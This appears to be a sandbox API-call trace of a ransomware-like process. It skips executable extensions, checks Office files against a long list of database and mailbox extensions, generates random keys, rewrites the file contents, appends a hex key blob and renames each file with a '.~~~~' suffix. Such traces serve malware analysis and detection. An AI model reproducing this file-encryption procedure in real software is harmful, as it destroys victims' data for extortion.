	[0144.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c880
	[0144.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.273] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.273] GetLastError () returned 0x0
	[0144.273] GetLastError () returned 0x0
	[0144.273] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.273] GetLastError () returned 0x0
	[0144.273] GetLastError () returned 0x0
	[0144.274] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0144.275] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.275] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0144.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.275] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.275] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.275] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.275] CloseHandle (hObject=0x138) returned 1
	[0144.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.~~~~")) returned 1
	[0144.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.425] GetLastError () returned 0x0
	[0144.425] RtlWakeConditionVariable () returned 0x0
	[0144.425] GetCurrentThreadId () returned 0xaf0
	[0144.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".scr") returned 0x0
	[0144.425] lstrlenW (lpString=".cmd") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".cmd") returned 0x0
	[0144.426] lstrlenW (lpString=".dll") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dll") returned 0x0
	[0144.426] lstrlenW (lpString=".bat") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".bat") returned 0x0
	[0144.426] lstrlenW (lpString=".cpl") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".cpl") returned 0x0
	[0144.426] lstrlenW (lpString=".sys") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".sys") returned 0x0
	[0144.426] lstrlenW (lpString=".msc") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".msc") returned 0x0
	[0144.426] lstrlenW (lpString=".com") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".com") returned 0x0
	[0144.426] lstrlenW (lpString=".lnk") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".lnk") returned 0x0
	[0144.426] lstrlenW (lpString=".msp") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".msp") returned 0x0
	[0144.426] lstrlenW (lpString=".pif") returned 4
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".pif") returned 0x0
	[0144.426] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0144.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.429] lstrlenW (lpString=".sqb") returned 4
	[0144.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".sqb") returned 0x0
	[0144.429] lstrlenW (lpString=".ost") returned 4
	[0144.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".ost") returned 0x0
	[0144.429] lstrlenW (lpString=".txt") returned 4
	[0144.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".txt") returned 0x0
	[0144.429] lstrlenW (lpString=".mdt") returned 4
	[0144.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".mdt") returned 0x0
	[0144.429] lstrlenW (lpString=".BDB") returned 4
	[0144.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".BDB") returned 0x0
	[0144.429] lstrlenW (lpString=".eql") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".eql") returned 0x0
	[0144.430] lstrlenW (lpString=".DBF") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DBF") returned 0x0
	[0144.430] lstrlenW (lpString=".EQL") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".EQL") returned 0x0
	[0144.430] lstrlenW (lpString=".FDB") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".FDB") returned 0x0
	[0144.430] lstrlenW (lpString=".EDB") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".EDB") returned 0x0
	[0144.430] lstrlenW (lpString=".DACPAC") returned 7
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DACPAC") returned 0x0
	[0144.430] lstrlenW (lpString=".VHD") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".VHD") returned 0x0
	[0144.430] lstrlenW (lpString=".DBV") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DBV") returned 0x0
	[0144.430] lstrlenW (lpString=".dacpac") returned 7
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dacpac") returned 0x0
	[0144.430] lstrlenW (lpString=".sdf") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".sdf") returned 0x0
	[0144.430] lstrlenW (lpString=".accdb") returned 6
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".accdb") returned 0x0
	[0144.430] lstrlenW (lpString=".DBX") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DBX") returned 0x0
	[0144.430] lstrlenW (lpString=".MDT") returned 4
	[0144.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".MDT") returned 0x0
	[0144.430] lstrlenW (lpString=".SQB") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".SQB") returned 0x0
	[0144.431] lstrlenW (lpString=".vhd") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".vhd") returned 0x0
	[0144.431] lstrlenW (lpString=".bac") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".bac") returned 0x0
	[0144.431] lstrlenW (lpString=".mdf") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".mdf") returned 0x0
	[0144.431] lstrlenW (lpString=".BAK") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".BAK") returned 0x0
	[0144.431] lstrlenW (lpString=".BAC") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".BAC") returned 0x0
	[0144.431] lstrlenW (lpString=".dbs") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dbs") returned 0x0
	[0144.431] lstrlenW (lpString=".vhdx") returned 5
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".vhdx") returned 0x0
	[0144.431] lstrlenW (lpString=".NDF") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".NDF") returned 0x0
	[0144.431] lstrlenW (lpString=".dat") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dat") returned 0x0
	[0144.431] lstrlenW (lpString=".DBS") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DBS") returned 0x0
	[0144.431] lstrlenW (lpString=".CKP") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".CKP") returned 0x0
	[0144.431] lstrlenW (lpString=".edb") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".edb") returned 0x0
	[0144.431] lstrlenW (lpString=".PST") returned 4
	[0144.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".PST") returned 0x0
	[0144.431] lstrlenW (lpString=".dbf") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dbf") returned 0x0
	[0144.432] lstrlenW (lpString=".SQL") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".SQL") returned 0x0
	[0144.432] lstrlenW (lpString=".pst") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".pst") returned 0x0
	[0144.432] lstrlenW (lpString=".dbv") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dbv") returned 0x0
	[0144.432] lstrlenW (lpString=".SDF") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".SDF") returned 0x0
	[0144.432] lstrlenW (lpString=".dtxs") returned 5
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dtxs") returned 0x0
	[0144.432] lstrlenW (lpString=".db3") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".db3") returned 0x0
	[0144.432] lstrlenW (lpString=".OST") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".OST") returned 0x0
	[0144.432] lstrlenW (lpString=".dbx") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dbx") returned 0x0
	[0144.432] lstrlenW (lpString=".DB3") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DB3") returned 0x0
	[0144.432] lstrlenW (lpString=".DAT") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DAT") returned 0x0
	[0144.432] lstrlenW (lpString=".VHDX") returned 5
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".VHDX") returned 0x0
	[0144.432] lstrlenW (lpString=".ndf") returned 4
	[0144.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".ndf") returned 0x0
	[0144.433] lstrlenW (lpString=".DB") returned 3
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DB") returned 0x0
	[0144.433] lstrlenW (lpString=".sql") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".sql") returned 0x0
	[0144.433] lstrlenW (lpString=".MYD") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".MYD") returned 0x0
	[0144.433] lstrlenW (lpString=".DBT") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DBT") returned 0x0
	[0144.433] lstrlenW (lpString=".ACCDB") returned 6
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".ACCDB") returned 0x0
	[0144.433] lstrlenW (lpString=".fdb") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".fdb") returned 0x0
	[0144.433] lstrlenW (lpString=".bak") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".bak") returned 0x0
	[0144.433] lstrlenW (lpString=".myd") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".myd") returned 0x0
	[0144.433] lstrlenW (lpString=".DTXS") returned 5
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".DTXS") returned 0x0
	[0144.433] lstrlenW (lpString=".ckp") returned 4
	[0144.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".ckp") returned 0x0
	[0144.433] lstrlenW (lpString=".dbt") returned 4
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".dbt") returned 0x0
	[0144.434] lstrlenW (lpString=".db") returned 3
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".db") returned 0x0
	[0144.434] lstrlenW (lpString=".TXT") returned 4
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".TXT") returned 0x0
	[0144.434] lstrlenW (lpString=".MDF") returned 4
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".MDF") returned 0x0
	[0144.434] lstrlenW (lpString=".bdb") returned 4
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".bdb") returned 0x0
	[0144.434] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.434] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395740) returned 1
	[0144.436] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.436] CryptReleaseContext (hProv=0x395740, dwFlags=0x0) returned 1
	[0144.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.436] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26442635302) returned 1
	[0144.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf7fb610, dwHighDateTime=0x1d60e1e)) 
	[0144.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ffd0
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ffd0 | out: hHeap=0x300000) returned 1
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.437] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.438] GetLastError () returned 0x0
	[0144.438] GetLastError () returned 0x0
	[0144.438] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.438] GetLastError () returned 0x0
	[0144.438] GetLastError () returned 0x0
	[0144.438] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x644, lpOverlapped=0x0) returned 1
	[0144.441] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.441] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x644, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x644, lpOverlapped=0x0) returned 1
	[0144.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.441] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.441] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.441] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.441] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.441] CloseHandle (hObject=0x138) returned 1
	[0144.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.~~~~")) returned 1
	[0144.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.445] GetLastError () returned 0x0
	[0144.445] RtlWakeConditionVariable () returned 0x0
	[0144.445] GetCurrentThreadId () returned 0xaf0
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".scr") returned 0x0
	[0144.445] lstrlenW (lpString=".cmd") returned 4
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".cmd") returned 0x0
	[0144.445] lstrlenW (lpString=".dll") returned 4
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".dll") returned 0x0
	[0144.445] lstrlenW (lpString=".bat") returned 4
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".bat") returned 0x0
	[0144.445] lstrlenW (lpString=".cpl") returned 4
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".cpl") returned 0x0
	[0144.445] lstrlenW (lpString=".sys") returned 4
	[0144.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".sys") returned 0x0
	[0144.446] lstrlenW (lpString=".msc") returned 4
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".msc") returned 0x0
	[0144.446] lstrlenW (lpString=".com") returned 4
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".com") returned 0x0
	[0144.446] lstrlenW (lpString=".lnk") returned 4
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".lnk") returned 0x0
	[0144.446] lstrlenW (lpString=".msp") returned 4
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".msp") returned 0x0
	[0144.446] lstrlenW (lpString=".pif") returned 4
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch=".pif") returned 0x0
	[0144.446] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS", lpSrch="msp\r\n.pif") returned 0x0
